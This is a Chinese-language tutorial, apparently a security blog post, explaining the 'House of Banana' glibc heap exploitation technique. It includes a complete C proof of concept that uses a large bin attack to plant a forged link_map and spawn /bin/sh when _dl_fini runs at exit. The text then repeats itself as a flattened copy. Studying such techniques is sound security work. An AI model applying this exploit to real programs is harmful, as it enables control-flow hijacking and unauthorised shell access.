回炉重修之house of banana 带源码调试解析原理
字数 1804 2025-08-22 12:22:36

House of Banana 利用技术详解

概述

House of Banana 是一种针对 glibc 动态链接器的利用技术,适用于 glibc 2.23 到最新版本(2.36)。该技术通过伪造 link_map 结构体,在程序退出时(通过 main 函数返回或调用 exit 函数)劫持程序流。

利用条件

  1. 可以任意地址写一个堆地址(通常使用 large bin attack)
  2. 能够从 main 函数返回或者调用 exit 函数
  3. 可以泄露 libc 地址和堆地址

技术原理

关键数据结构

_rtld_global 结构体

struct rtld_global {
    struct link_namespaces {
        /* A pointer to the map for the main map. */
        struct link_map *_ns_loaded;
        /* Number of object in the _dl_loaded list. */
        unsigned int _ns_nloaded;
        /* ...其他字段... */
    } _dl_ns[DL_NNS];
    /* ...其他字段... */
};

_rtld_global 结构体管理动态链接器运行时的全局状态,特别是链接命名空间的管理。其中 _ns_loaded 是指向 link_map 链表头部的指针。

link_map 结构体

link_map 结构体以链表形式存储,通过 l_nextl_prev 指针连接。关键字段包括:

  • l_next: 指向下一个 link_map 结构体的指针
  • l_prev: 指向上一个 link_map 结构体的指针
  • l_real: 当前结构体的真实地址
  • l_info: 动态节信息数组

利用链

利用链为:exit -> _dl_fini

攻击思路

  1. 通过 large bin attack 或其他方式修改 _rtld_global._dl_ns._ns_loaded 指向可控的堆地址
  2. 伪造 link_map 结构体,绕过检查并控制程序流
  3. 利用 _dl_fini 函数中的 ((fini_t) array[i]) () 调用执行 shellcode

关键检查与绕过

_dl_fini 函数中,需要绕过以下检查:

  1. l_real 检查:

    if (l == l->l_real)  // 必须满足
    

    需要设置 fake+0x28 = fake

  2. DT_FINI_ARRAY 检查:

    if (l->l_info[DT_FINI_ARRAY] != NULL)  // DT_FINI_ARRAY = 26
    

    需要设置 l_info[26] 为非空

  3. DT_FINI_ARRAYSZ 检查:

    unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));  // DT_FINI_ARRAYSZ = 28
    

    需要设置 l_info[28] 的值

伪造 link_map 结构体

需要伪造的结构体布局如下:

*(uint64_t*)(fake+0x28) = fake;          // l_real 指向自身
*(uint64_t*)(fake+0x31c) = 0x1c;        // _ns_nloaded 至少为4
*(uint64_t*)(fake+0x110) = fake+0x40;    // l_info[28] 指向 fake+0x40
*(uint64_t*)(fake+0x48) = fake+0x58;     // array 地址
*(uint64_t*)(fake+0x58) = (uint64_t)shell; // shell 函数地址
*(uint64_t*)(fake+0x120) = fake+0x48;    // l_info[26] 指向 fake+0x48
*(uint64_t*)(fake+0x50) = 0x8;           // d_val 值

解释:

  • fake+0x110l_info[28] 的地址
  • fake+0x40l_info[26] 的地址
  • fake+0x48array 的地址(指向 fake+0x58
  • fake+0x58 存储 shell 函数地址
  • fake+0x500x8 会被除以 sizeof(ElfW(Addr))(8)得到 i=1

示例利用代码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

void shell(){
    system("/bin/sh");
}

uint64_t getLibcBase(){
    uint64_t to;
    uint64_t from;
    char buf[0x400];
    FILE* file;
    
    sprintf(buf, "/proc/%d/maps",(int)getpid());
    file = fopen(buf, "r");
    while(fgets(buf, sizeof(buf), file)) {
        if(strstr(buf,"libc")!=NULL) {
            sscanf(buf, "%lx-%lx", &from, &to);
            fclose(file);
            return from;
        }
    }
}

int main(){
    setvbuf(stdin,NULL,_IONBF,0);
    setvbuf(stdout,NULL,_IONBF,0);
    setvbuf(stderr,NULL,_IONBF,0);
    
    uint64_t libcBase = getLibcBase();
    uint64_t rtld_global = libcBase+0x23d060;
    uint64_t* next_node = (uint64_t*)(rtld_global-0x4b048);
    
    uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
    uint64_t *g1 = malloc(0x18);
    uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
    uint64_t *g2 = malloc(0x18);
    
    uint64_t fake = (uint64_t)p2-0x10;
    
    *(uint64_t*)(fake+0x28) = fake;
    *(uint64_t*)(fake+0x31c) = 0x1c;
    *(uint64_t*)(fake+0x110) = fake+0x40;
    *(uint64_t*)(fake+0x48) = fake+0x58;
    *(uint64_t*)(fake+0x58) = (uint64_t)shell;
    *(uint64_t*)(fake+0x120) = fake+0x48;
    *(uint64_t*)(fake+0x50) = 0x8;
    
    printf("libcBase is 0x%lx\n",libcBase);
    printf("rtld_global is 0x%lx\n",rtld_global);
    
    free(p1);
    uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
    free(p2);
    
    p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
    uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin
    
    p2[1] = 0;
    p2[3] = fake;
    
    return 0;
}

攻击步骤解析

  1. 内存布局准备:

    • 分配两个不同大小的 chunk (p1=0x428, p2=0x418)
    • 释放 p1 使其进入 large bin
    • 分配更大的 chunk (0x438) 触发 p1 插入 large bin
  2. large bin attack:

    • 释放 p2 使其进入 unsorted bin
    • 修改 p1 的 bk_nextsize 指向目标地址 (next_node-0x20)
    • 分配大 chunk 触发 large bin attack,修改目标地址为 p2 的地址
  3. 伪造 link_map:

    • 在 p2-0x10 处伪造 link_map 结构体
    • 设置必要的字段绕过检查并指向 shell 函数
  4. 触发利用:

    • 程序退出时调用 _dl_fini
    • _dl_fini 遍历 link_map 链表
    • 遇到伪造的 link_map 并执行 shell 函数

调试关键点

在调试时,重点关注:

  1. _dl_fini 函数中的第四次循环(因为 _ns_nloaded 设置为 0x1c)
  2. 检查伪造的 link_map 结构体是否满足所有条件
  3. 观察 call qword ptr [r14] 指令是否跳转到 shell 函数

总结

House of Banana 是一种强大的利用技术,通过伪造 link_map 结构体在程序退出时劫持控制流。成功利用需要:

  1. 精确控制堆布局
  2. 正确伪造 link_map 结构体绕过所有检查
  3. 通过 large bin attack 或其他方式修改关键指针

该技术适用于多种场景,特别是在可以控制堆分配和泄露地址的情况下,能够绕过许多现代防护机制。

House of Banana 利用技术详解 概述 House of Banana 是一种针对 glibc 动态链接器的利用技术,适用于 glibc 2.23 到最新版本(2.36)。该技术通过伪造 link_ map 结构体,在程序退出时(通过 main 函数返回或调用 exit 函数)劫持程序流。 利用条件 可以任意地址写一个堆地址(通常使用 large bin attack) 能够从 main 函数返回或者调用 exit 函数 可以泄露 libc 地址和堆地址 技术原理 关键数据结构 _ rtld_ global 结构体 _rtld_global 结构体管理动态链接器运行时的全局状态,特别是链接命名空间的管理。其中 _ns_loaded 是指向 link_ map 链表头部的指针。 link_ map 结构体 link_ map 结构体以链表形式存储,通过 l_next 和 l_prev 指针连接。关键字段包括: l_next : 指向下一个 link_ map 结构体的指针 l_prev : 指向上一个 link_ map 结构体的指针 l_real : 当前结构体的真实地址 l_info : 动态节信息数组 利用链 利用链为: exit -> _dl_fini 攻击思路 通过 large bin attack 或其他方式修改 _rtld_global._dl_ns._ns_loaded 指向可控的堆地址 伪造 link_ map 结构体,绕过检查并控制程序流 利用 _dl_fini 函数中的 ((fini_t) array[i]) () 调用执行 shellcode 关键检查与绕过 在 _dl_fini 函数中,需要绕过以下检查: l_ real 检查 : 需要设置 fake+0x28 = fake DT_ FINI_ ARRAY 检查 : 需要设置 l_info[26] 为非空 DT_ FINI_ ARRAYSZ 检查 : 需要设置 l_info[28] 的值 伪造 link_ map 结构体 需要伪造的结构体布局如下: 解释: fake+0x110 是 l_info[28] 的地址 fake+0x40 是 l_info[26] 的地址 fake+0x48 是 array 的地址(指向 fake+0x58 ) fake+0x58 存储 shell 函数地址 fake+0x50 的 0x8 会被除以 sizeof(ElfW(Addr)) (8)得到 i=1 示例利用代码 攻击步骤解析 内存布局准备 : 分配两个不同大小的 chunk (p1=0x428, p2=0x418) 释放 p1 使其进入 large bin 分配更大的 chunk (0x438) 触发 p1 插入 large bin large bin attack : 释放 p2 使其进入 unsorted bin 修改 p1 的 bk_ nextsize 指向目标地址 ( next_node-0x20 ) 分配大 chunk 触发 large bin attack,修改目标地址为 p2 的地址 伪造 link_ map : 在 p2-0x10 处伪造 link_ map 结构体 设置必要的字段绕过检查并指向 shell 函数 触发利用 : 程序退出时调用 _dl_fini _dl_fini 遍历 link_ map 链表 遇到伪造的 link_ map 并执行 shell 函数 调试关键点 在调试时,重点关注: _dl_fini 函数中的第四次循环(因为 _ns_nloaded 设置为 0x1c) 检查伪造的 link_ map 结构体是否满足所有条件 观察 call qword ptr [r14] 指令是否跳转到 shell 函数 总结 House of Banana 是一种强大的利用技术,通过伪造 link_ map 结构体在程序退出时劫持控制流。成功利用需要: 精确控制堆布局 正确伪造 link_ map 结构体绕过所有检查 通过 large bin attack 或其他方式修改关键指针 该技术适用于多种场景,特别是在可以控制堆分配和泄露地址的情况下,能够绕过许多现代防护机制。